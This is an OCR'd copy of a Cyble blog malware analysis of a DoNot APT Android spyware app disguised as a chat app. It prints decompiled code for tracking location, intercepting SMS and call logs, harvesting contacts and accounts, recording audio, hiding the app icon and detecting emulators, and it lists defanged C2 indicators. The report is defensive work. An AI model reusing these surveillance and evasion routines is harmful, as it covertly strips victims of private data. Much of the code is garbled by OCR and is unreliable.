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DoNot APT Group, also known as APT-C-35, is an Advanced Persistent Threat (APT) group targeting

government-related organizations. DoNot has a reputation for carrying out APT attacks against India, Pakistan,
Argentina, and countries in South Asia. This group mainly spreads malware using malicious programs developed

in C++, Python, .NET, and other languages.

DoNot APT mainly spreads malware via spear-phishing emails containing malicious documents and files. In
addition to spreading malware via spear-phishing emails with attachments that contain either a vulnerability

or a malicious macro, this APT group leverages malicious Android APKs in their target attacks.
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Android-based Spyware applications are often disguised as system tools and in some cases as
fake apps, counterfeit mobile games, and fake news apps. Post installation, these apps perform Trojan functions in

the background and can remotely control the victim’s system, besides stealing confidential information from the

targeted device.

During our Open-Source Intelligence (OSINT) research, Cyble researchers found a malware sample of the DoNot

APT group posted on Twitter. Upon analyzing the malware sample, the Cyble Research Lab discovered that it is a

fake app disguised as a legitimate messaging app that collects sensitive information from the victim’s device.

The APT group uses the deobfuscation code along with some packers within the application to conceal malicious

functionalities. This prevents the spyware from being detected during the static analysis of the app.

Technical Analysis:

We performed the technical analysis of an APK, with the following hash value:
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fdb67688d92900226bf834ce6714112f03e981611ee50e9c3102636574b05280.
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App name: Mecaller.apk
Package name: com.chat.nsgnest

Some of the applications’ permissions, activities, and services that may be used to perform malicious activities are

listed below:
Permissions:

e android.permission.READ_CALENDAR

e android.permission.PROCESS_OUTGOING_CALLS
 android.permission. ACCESS_COARSE_LOCATION
¢ android.permission.INTERNET
 android.permission. ACCESS_FINE_LOCATION

e android.permission.READ_CALL_LOG

e android.permission. WRITE_EXTERNAL_STORAGE
e android.permission.RECEIVE_SMS

e android.permission. AUTHENTICATE_ACCOUNTS
e android.permission. CALL_PHONE

e android.permission.READ_PHONE_STATE

e android.permission.READ_SMS

e android.permission. RECORD_AUDIO

e android.permission.READ_CONTACTS

Activities:

 ime.serviceinfo.app.MainActivity

 ime.serviceinfo.app.qsharehong.qsharelackhong
Services:

» ime.serviceinfo.app.qsynchong.qSyncServicehong
 ime.serviceinfo.app.qsynchong.qAuthenticatorServicehong
e ime.serviceinfo.app.qaleolehong.qdcerthong

e ime.serviceinfo.app.qaleolehong.qngwerhong
 ime.serviceinfo.app.gstunthong.qSensorServicehong
 ime.serviceinfo.app.qsharehong.qgsttrServicehong

e ime.serviceinfo.app.qsharehong.qServicehong
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e ime.serviceinfo.app.qaleolehong.ghepjshong
 ime.serviceinfo.app.ghelphong.qgarohong

 ime.serviceinfo.app.qaihihihong.tknnotify.sfsSr

We also performed a dynamic analysis and discovered that the app has an emulator check that avoids running the
app in an emulator or VirtualBox, and only runs this app on legitimate devices. Further, on bypassing the scripts

using Frida and on loading the application, it displays a message as shown in the figure below.

Your Device |5 Not Suppaorted For Now,

Tap on 'Ok’ to Uninstall This App

0K

Figure 1 Error Message from The App on Loading It Through Frida Scripts

Using the same Frida scripts and on loading the various activities, the app requests users to enable the accessibility

service and on activating, it displays the below message as shown in Figure 2.
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Use QMedia?

OMedia needs to:

Observe your actions

Retrieve window content

1! 1L OF & Winddw you re

CANCEL 0K

Figure 2 — Message displayed on turning on the Accessibility Service

The malware then initiates malicious behavior from the application main
class, “ime.serviceinfo.app.MainActivity“. The entry point of the app is this class, which gets executed at first

when the user starts the application.
Using the above permissions granted from users, the following data is fetched from the devices:

e Tracking the user’s location along with network operator details, device location, latitude, and longitude

from the compromised device.

public fimal woid run() {
boolean z;
int 1 [:H
baalean z2 true;
try 1
amg. L = true;
while (amq.k) {
if !.:mq.'!'h:'t-i.b mull) {
amq.this.b mew JSOMArray();

amy amg = amj.this;

amg.¢ = amg.i.isProviderEnabled( gps];

amg amg2 = amg. this;

amg2.d amq2.1.1sProviderBnabled| * network®];

trj' i
GsmCellLocation gseCelllocation = (GsmCellLocation) amg.this.).getCelllocationi);
networkOperator = [(TelephonyManager] amg.this.a.getSystemService(*phone® )] . gethetworkOperator();
if (gemCelliocation != aull &5 |TextUtils.isEmpty{networkOperator)) {
int parselnt = Int r.parselntinetworkOperator.substrangl(a, 3});
int parseInt2 t parselnt (networkOperator.substrangl3) );
simpletaterormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:emiss”);
JsohObject JSONCBject = new JSOMObject(];
js0MObject.put (s .a(* UFIPVELERVI =", amw.a("FONTOZVSbExyY 2FOak H
J50mN0b)ect . put [amv .al . gemlelllocation. getcid(]);
Je0oN0b ect . put [amv &l . gemiellLocation. getLac()];
jeoNdbject . put [amv al"T . parseint);
J50Nchect. put (amv al*TUE . parselnti);
JsoMobject. put (aaw.al*URD® ), gsmiellLocaticn.getPsc(]];
JS0N0bj ect. put [ amy . a [ * FOF ), simpleDateFormat. format (new (31

amg. this. b.put(jSontbject]:
amq.this.c();

} catch [Except unused) {
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Figure 3 Code to track the location of the device with Latitude and Longitude

e Checking for the availability of internet connection from the device to collect the network and connectivity

information.

public static int alContext context) {
ConnectivityManager connectivityManager (ConnectivityManager) context.getSystemServicel®connectivity®);
HetworkInfo networkInfo = conmectivityManager.gethetwarkInfo(l);
MetworkInfo networkInfo2 = connectivityManager.getMetworkInfolo);
if (metworkInfo.isConnected()) {
return 1;
}

return networkInfo2.isConnected() 7 0 : -1;

Figure 4 Checks for Internet connection Availability

o The application also has the capability to record audio and collect media files from the infected device

without the user’s knowledge.

public void onReceaive(Context context, Intent intent] {
context.startService(new Intent{context, gdcerthong.class));

try 1

Bundle extras = 1ntent.getExtras();

if (extras != null) {
this.a = extras_getInt(“sh", -1);
this.b = extras.getInt("sm", -1);
this.c = extras.getInt("eh", -1);
this.d = extras.getInt(“*em*, -1};
if (extras.get(amv.a("U0SF")) == null || extras.get{amv.a("ZWwSkdGltZ0=="]] == null) {

MediaFecorder mediaRecorder = f;
if (mediaRecorder != null) {
mediaRecordar.stop( ) ;

f.reset();
f.release();
f = null;
gngwerhong.z = false;
return;
}
return;
boolean z = extras.getBoolean|{amv.al LoSF=));
this.e = z;
if (1z) {
gngwerhong.z = false;
try {
a aVar = h;
if (avar !'= null &6 1) {
avar.interrupt();
}

h = null;
} catch (Exception e2) {

Figure 5 Code to Record Audio/Media Files from the Infected Device

e Sending text messages using permissions and SMS manager.
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FRELIT vl CrPeces v Lo Eeat Contant, Trtent SeEentl |
g ady
irg 83
LTI, startSarvicalnew Tntent|contest, gdcarthong.clasall;

try
iF graearhang.ile.el |
nf-r_\-'l'l = intent,patEatees|))

tras = sull] |
Eject[] objhrr = [Object[]) sxtrem.gut (e, ol coPioe="]];
st Leageh = sbjare. Lasgthy
Gemtannage | wmsMesnsgedrr = sew GmPesnsge Lengthl;
Par (Qmt 3 = @ 3 & Lesgeh; aes) {
nsMupagadrr (i) = SesMewsape. crauteFromidyl Dbyte ] sbyarriill;
simplaletefsrmat sinpleluteFornst = mrw SinpleDuteFormat | yyyy M- 44 bcmiea® bi
i [ grapearang.u) |
wry
A (ohisb == mull] |
thin, b = mew JSORArrayl];

MR et | RONOh R0t 5 mee JRONCE | #ctl] D
FEOMArTEY (SONArTEy = B JSONArray ()
ST | e01T = Rew J‘.J'.H.tljl-cl:l )

ISR et put [y 8" ¥ o« smsMesnageier[d ], gatOriginatinghddrean(] );
1M e 12 put (aev .8 l.. seaMessagelsr | L | . getiessegebedy [) . vedSuringll))

TR e 1T, gl ey 8 et |, wispleDeteFornet, formet (mew Datelll);

A1 [imEent. geTAstion ) conparaTal ghereCons | * sndroLd. provider . Taleghony . S8 FECEIVED" ) == o)

vossparaTal gneretese | sndroid.provicer . Teleapheny . S48_SENT*] == @) [

a2 = a2
a3 = mwy. o) Vrbasobge=" 3

IR et putiaZ, #3)
1My put [ SONOE e
R e Pt LT ATy
by, b, pt (P RoNOh ject]
il [eesMessataire L] . oo PeESageiody || . covLior |awy & "bwvrcsno Ll
SmgMangger, getiet et ) SendTE ke nag MIJH-HI-"II. Hmwmnrrl.nqml o« walll, TR TR HERE, .. ", sull, sslL{E
I oelee if (emsMessagairr(a].getressageliody | | . contaafilame . al " bwvic 2 Dede I |
:lw,u:wr u'lrl:-'\-c-'\q-ﬂnmf Tllwwr content, u!iqln:l-ﬂf e * phaora®
in.g = tal
GamtellLocation gemtel! L,n-catun « [osmtelliscation! telephovdansger. getcelliocationi )
irg originstinghddress = smbessagairr[i] -qu tori ginatingdddrens 13
EARMAT A T RER M Smsrarager getiefsultl]
if (guacallLocation = mell] |
int £1d = gemlelliscataan. gattid(];
int Yoo = gemtelliscstion.getiscily
e

Figure 6 Sends text Messages using SMS Manager and Android Permissions

¢ Tracking the Service/Receiver that are registered post device reboot.

public class gqddlhong extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
context.startService(new Intent(context, gdcerthong.class));
}

Figure 7 Registers the service/receiver on phone reboot

o After the accessibility service is enabled, the application launcher icon is removed from the main screen,

thereby allowing the app to stay hidden.
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.method static synthetie a(lisefserviceinfofapp/Mainketivity; )V
Jlocals &

itrey startd

invoke-virtual {p0}, Lime/serviceinfo/app/Madnactivity;->1()V

rtry end 0

.cateh Ljawa/lang/Exception; {:try_start @ .. :try_end B} :eatch.B

icatch B

itry start.l

invoke=virtual {pd}, Lime/serviceinfo/app/MainActivity;->getapplicationContext()Landrodd/content/Cantext;
mowe-result-object v

invoke-virtval {vdl, Landroid/content/Context;-»getPackagemanager()Landroid/content/pn/Packagetanager;
mowe-result-object v

invoke-wirtval {po}, Limefserviceinfo/app/Mainactivity;-»getComponentNane()Lanaroid/content/Conponentiane;
move-result-obfect wl

comstfa w2, 0=2

comstfa w3, Oxl

invoke-virtual {wvd, vi, w2, w3}, Landrodd/content/pa/Packagedanager;: ->setConponentEnabledSetting (Landrafid/ content/Conpanentiane: 1)V

nes-instance wl, Landroldfcontent/Intent;

Figure 8 Hides the Application launcher Icon from View

e Collecting the information on the running application processes or tasks.

invoke-static {}, Landroid/os/Process;->ayPid()I

nove-result vo

iget-object w3, pO, Lakp;-=b:Landroid/content/Context;

const-string va, "activity"

invoke-virtual {v3, v4}, Landroidfcontent/Context;-»getSystemService(Ljava/lang/$tring;)Ljava/lang/Object;
nove-result-object v3

check-cast v3, Landroid/app/ActivityManager;

invoke-virtual {v3}, Landroid/app/ActivityManager;->petRunningAppProcessed(iLjava/util/List;

nove-result-object v3

if-eqz v3, :cond_3

invoke-interface {v3}, LjavafurirfList;->iterator()Ljavajutil/Iterator;
nove-resvlit-object v3

rcond_2
invoke-interface {v3}, Ljavafutil/Iterator;-=hashext()Z

Figure 9 Collects list of running processes

* Verifying the infected device fingerprint, hardware, and model to find out whether the application is
executed through emulator or through VirtualBox. If it is executed through emulator, the application will

not be performing any malicious activity to avoid any kind of detection.
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private static beslean |
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Figure 10 Code to detect the analysis device (Emulator Check)

e Monitoring the device phone number from both outgoing and incoming calls using broadcastreceiver and
storing the collected data into “CallLogs.txt“.

public void onReceive(Context context, Intent inmtent) {
context.startService(new Intent(context, gdcerthong.class));
if (intent.getAction().equals(®android.intent.action.NEW_OUTGOING CALL")) {

this.b = intent.getExtras().getString("android.intent.extra.PHONE NUMBER" ) ;
this.c = amv.a("T3vORZSpbmcg”);

} else if (intent.getExtras() != null) {
this.a = intent.getStringExtra("state"(];
this.b = intent.getExtras().getString("1ncoming_number");
this.c = amv.a("SwW5)b21lpbmcg”);

Figure 11 Code that queries phone numbers from incoming and outgoing calls

private wvoid bl 1
try 1
if mq'urhung q getint|amv.al - G2Fshozg ) == 0] { Calllogs. txt
“ f:.'l.el:ur.pur.S'l:redrn = new File nimew File{gnqwerhong.p, aev.al®QzFsbExvZiudeho® )}, trael;
faleo.n'[putsr.rﬂn writelString.valuedf (this.d. w's'[rmq vt logetBytesi));
this.d = new JSON&rra
filedutputStrean. close|
}
} cateh (Exception unused) {
}
public weid onReceivel(Context context, Intent intent) |
this.a = context;
context.startServicelnew Intent(context, ndcerthunl; tln.: IH
if linvent.getAction() . equals(® ands intent. act =3 1
] 8Tring = intent.getExtras|).getString(® 2 . PHONE _NUMEER®
1 = string;
k = string;
b oelse if (intent.getExtras() "= nwll) {

] stringd intent.getExiras
if lintent.getExtras() .getStrang{*incomng_numbar®) =) {
Strang3 = intent.getExtras() .getString("incomng_nwmbaer=};
1 strang3;
int 12 = 03
if ['string2.equals|TelephonyManager EXTRA_STATE_IODLE)) {
if :tr:l.rrq? equals | TelephonyManager .EXTRA_STATE tFFHIK {

string2. equals (TelephonyManager . EXTRA_STATE RIMNGING) ) {

alcontext, 12, stringdl;

Figure 12 Code that monitors and collects call logs

e Monitoring the incoming messages, creating Protocol data unit (PDU), intercepting SMSes to collect
information from them and storing the information in “sms.txt“.
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puhlic woid onBaceive(Context context, Intent intent] {
ng a2
String a3;
cuntl:l:t startService (new Intenti(context, gqdcerthong.class)];
try
:i.f [qngwarhang.B.c.c) {
Bundle extras = intent.getExtras();
this.a = *";
if lextras '» null) {
object(] ebjarr = (Object(]) extras.get{amy.a(®cGRlcw=s"]];
imt length = cbjarr.length;
SmaMessagel] smuMessagedrr = new SmsMessagellengthl;
for (int i = 07 i = length; i=+) {
smsMessagedrr(i] = SnsMessage.CreateFromPau| (bytel]) objarr (1]
SimpleDateFormat simpleDateFormat = new SimplelateFarmat(*yyyy-MM-dd HHimmiss® )
if (1gnaqwerheng.ul {
wry 1
if (this.b == aull) {
this.b = new JSOMArray();
]

Jsohaobject JSOMNObject = new JSONObject();
JS0MArray (50MArray = mew JSOMArrayl)
Js0n0bject jS0MNOb)ectZ = mew JSOMObject();
Jsonoh] ect2 put [ame . al " YWRkcmivzow==" ), smsMessagedrr(1].getOriginatingaddress(]);
JSon0b] ect2 put [am.al*Ymkeg=="], smsMessagearr[1]. getMessageBody(].teStringll);
150N0bject2. put [amv . al " ZGFOZ0==") , -:1q;ltD:tqurnt.'F-uru.|tI:nlu Datel)));
if {intent.getActionl) .comparaTol gnorelase|” andread. provader. Telephony . SMS RECEIVED") == 0) {
a2 = ame,al"dHlwig==");
a3 = amv.al"SWSib3gs");
} wlse if (intent.getAction() .comparaTolgnoreCase(” androad.provider. Telaphony SMS SENT') == O] {
a2 = amv.al"dHlwZ0ms" ) ;
a3 = amv.al"UZvudies® )y
I oelse {

Figure 13 Code that monitors and collects SMS data

public class goperfhong extends BroadecastReceiver {
STrLmg BF

JeOMArray b;

protected TelephonyManager <;

privatq synchronized weid al) |
it (gngwerhong.q.getIntiamv.al"L0aTZmks="), Q) == Q] { Ss. Tt

try {
FileDutputStream fileOutputStream = mew FiledutputStreaninew Filel(gngwerhong.p, amv.a(*c2lzlnRadi=s-)), true);
fileOutputStream.write[String. valuedf (this. b, teString() + "\n').getBytes()];
this.b = new JSONArray():
filedutputSeream. clase() ;

} eateh (Exception unused) {

Figure 14 Stores the collected SMS data

¢ Collecting phone contacts from the infected device and storing it in “contacts.txt” file.

public final woid al) {
int i = 13
mmrhung.r.pl.rtlntilm al"QlRmad=="}, 1);
gngwerhong . rocommit(]
try |
this.b = aew JSONArrayl);
Cursor query = this.a.getContentPesolver().query|ContsctscContract. CommonDatakynds. Phone  CONTENT LRI, nell, null, sull, msull);
if (guery = mull) {
H fquery. q,“c,umt” =00 { Contacts.t=t
putStrean filelutputStresn = new FilelutputStresnines File{gngeerhang,p, amv. (- FSGOGRTHREGEEAG" | )] ;
l||i1'|.l Iq.ll-r',' moveTomext[)] {
JSONArray JSONAFray = mew JSOMArray(];
JsonObject jSOMObject = new JSOMDbject();
JSOMCE et put lamy al  TeFeZ0=e® ), quary.getstring query, getolumindes [ "display_name® 1)) ;
J50M0bject . putlamy.al " Tnvey 1. query.getstring (query. getColumindex [ *datal®) )] ;
try |
this.c = guery.getStringquery. getColumnindex(*_1d=));
CententResolver contentPeselver = this.a.getContentResclver();
Ura wry = Cnnt.:t:-:,untu:Lcmukmﬂ:.am't.mm_w;
gll strkrr = maw Stranglil;
strarr(0] = thas.c;
Cursar gueryl = contentPesclver.query(uri, mll, *conrtact_id = 7*, strder, nulll;:
it [query2.getCount{) = O &5& query2.moveToMextil) {
qwryi.wts'mnn[qwryi utmlvm:ndu *display_name® ]}
) string = gqueryZ.getString|query2. gl’tto'l.l.m]ndﬂl’ datal®]);
if lﬂrlnq t= mulll {
15000b]ect put [amv .al*Felhawe="], string);
b oelse {
150n0bect put [amy .al " Relhawe="], “Unknown®];

qwfyz closall;
¥ catch {Exception urmused) |
1 SONOE ) g1, puit (6" P o=t ), Unkngen® ] g

Page 9 of 12



https://blog.cyble.com /2021 /07 /22 /donot-apt-group-delivers-a-spyware-variant-of-chat-app/

Figure 15 Collects and stores Phone contacts

* Along with the above sensitive information, this malicious app has the code to fetch stored mail accounts

and application accounts like Gmail, WhatsApp, besides storing the information in “accounts.txt*.

public final weid al] |
anigwerhong.r . putIntam.al*0Uhmad=="], 1):
qrigwerhong.r. commt(];
try {
account[] accounts = AccountManager.get(this.a).getéccounts(];
if (gngwerhong.u) {
for [int 1 = 0; 1 <= accounts.length - 1; i#+) {
Contentvalues contentValues = new Contentvalues();
contentValues.put (amy.al*QUM="), accountsii].namel;
contentvalues put(amv.al*Qvi="), accounts[i].typel:
if (i == 0) {
contentValues. put{amv.a(*QuM="], "app_tkn*):
-:-unt-nnt\falu“ Jputliamv.al*Qvd="], gngwerhong.wl;
new StringBul lder (*onComplete: *).append|qngwerhong.w) :
1

1
b oelse {
thls b = W errayfl,
FileOutputst fileOutputStream = new 7 letutputStrean(new Filelgnqwerheng.p, amv.a(*¥ebjbSVodesadeho- 111 ;
fnr [mt 12 l::l, 12 == accounts.length - 1; 12e+) {
JsonObject JS0MNObject = nnr Jsonbyectll;
JSoMobject.putlamv. al*QlM="), accounts[i2].name);
190k ect. put [amy . al " Qui=" .l.. accounts(22] .typel;
if (12 = o) {
150n0bject . put Lamy, al " QuM=" -. “app_tkn);
]SMJ!L‘I putraqw al®gvg=") qnq-merhnng.w:-:
new gBul uni.'nrrp'ls‘t-‘ =] . append (gngwerhong. W) ;

acoounts. it

}
this.b.put(jsonobject);
}
fileDutputStream.writelthis.b.teString(]. getBytesil);
this.b = new JSOMArray();
f1leOutputStream.closel);

Figure 16 Code that collects and stores mail, application accounts

¢ Base64 Encryption technique used in multiple classes and methods.

Code

;m:u:t ut [, il [F==l ]mrrrf"
rean §j l.w-.-tw:stru- new FiletuiputSiresninew Fi e lgnguerhong.p, sev, 8" SOLISS00" 111 ;

LT .-WJH: Jputi gy, gl Gl tEgeet ], ll.-p'lmul'-vru: Format (new Datal1)0;
NSO et pert [y o 419 'l:luFL Lesla].geisbeoluterathil];
angwerkang. roputInt (s, VHI 1 2w 2
e raang . P gt e e w "V
B lgngearheng. g, gerine lase
SO ec T2, purt [y
JEONER e 13 gt [
JEONIE et gk [y, &
NEONT et gt [y o
1 SO s T3 et [y TR
1 S ) st 3 e [y
S e et [
O et gt [

v}, cornectienlnte. gitmachddransl));
waluedf [connestaoninfe, getretwarkDdi]]];
Flat ), mattar, formatlphddransiconnectioninic . gatiphddrans( i} ] ;

s Build, VERSION, RELEASE]
geiBroperty lamy. al* budeiycdlvbgess il + *{* + Bunld. VERSION, THOFEMENTAL -
*J, *Mayld he geedia_ung® )
B L MARUF ACT LRER] 2
r I hdGiyTeltI0ee" ], telepheryManager . gothetwarkOparatortam[]) :
Bua ld.MODEL D
. trlip*mrﬂrmr.ﬂtmnu]d: 1

JEONE et Pt [amy . &
JFONE et et [
JECER et pk (e . 8
1 SO s T et ey e .
NSO ) #C T et (e ¢ P | LemHidha
NS 4T et TELuZTFidi 1L Ea] =
pEOE et put [asw . &
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Figure 17 Encrypted strings using Base64 encryption technique

Upon decrypting the encrypted strings, we were able to determine that the data being collected by this app is sent

to the C2 link through which the application communicates and uploads the information to the server.

C2 Server: hxxp[:]//tinyshort|.Jicu/
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CONCLUSION:

Spyware apps have been around for a long time, yet they still pose a significant threat to sensitive data on victim
devices. The APT groups responsible for creating the spyware are constantly adapting and using various
encryption techniques to avoid detection. This makes removal of the spyware nearly impossible, thus users should

exercise caution while installing applications.
SAFETY RECOMMENDATIONS:

o Keep your anti-virus software updated to detect and remove malicious software.

e Uninstall the application if you find this malware in your device.

e Keep your system and applications updated to the latest versions.

e Use strong passwords and enable two-factor authentication.

e Download and install software only from trusted sites and official app stores.

e Verify the privileges and permissions requested by apps before granting them access.

e People concerned about the exposure of their stolen credentials in the dark web can register

at AmIBreached.com to ascertain their exposure.

MITRE ATT&CK® Techniques- for Mobile

Tactic Technique ID Technique Name
T1406 Obfuscated Files or Information
Defense Evasion
T1418 Application Discovery
) T1409 Access Stored Application Data
Credential Access
T1412 Capture SMS Messages
T1507 Network Information Discovery
11430 Location Tracking
) T1412 Capture SMS Messages
Collection
T1429 Capture Audio
11432 Access Contact List
T1433 Access Call Log
T1421 System Network Connections
T1430 Discovery Location Tracking
Discovery T1426 System Information Discovery
T1418 Application Discovery
T1424 Process Discovery
T1573 Encrypted Channel
Command and Control
T1571 Non-Standard Port
Exfiltration T1532 Data Encrypted
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https://attack.mitre.org/techniques/T1418
https://attack.mitre.org/techniques/T1409
https://attack.mitre.org/techniques/T1412
https://attack.mitre.org/techniques/T1507
https://attack.mitre.org/techniques/T1430
https://attack.mitre.org/techniques/T1412
https://attack.mitre.org/techniques/T1429/
https://attack.mitre.org/techniques/T1432/
https://attack.mitre.org/techniques/T1433/
https://attack.mitre.org/techniques/T1421/
https://attack.mitre.org/techniques/T1430/
https://attack.mitre.org/techniques/T1426/
https://attack.mitre.org/techniques/T1418
https://attack.mitre.org/techniques/T1424
https://attack.mitre.org/techniques/T1573
https://attack.mitre.org/techniques/T1571/
https://attack.mitre.org/techniques/T1532/
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Indicators of Compromise (IoCs):

I0Cs I0C type

fdb67688d92900226bf834ce67f4112f03e981611ee50e9¢3102636574b05280  SHA256

) . Interesting
hxxpl:]//tinyshort[.]icu/
URL
45.61.137[.17 IP address

About Cyble

Cyble is a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and
exposure in the darkweb. Cyble’s prime focus is to provide organizations with real-time visibility into their digital
risk footprint. Backed by Y Combinator as part of the 2021 winter cohort, Cyble has also been recognized by
Forbes as one of the top 20 Best Cybersecurity Startups to Watch in 2020. Headquartered in Alpharetta, Georgia,
and with offices in Australia, Singapore, and India, Cyble has a global presence. To learn more about Cyble,

visit www.cyble.com.

Source: https://blog.cyble.com/2021/07/22/donot-apt-group-delivers-a-spyware-variant-of-chat-app/
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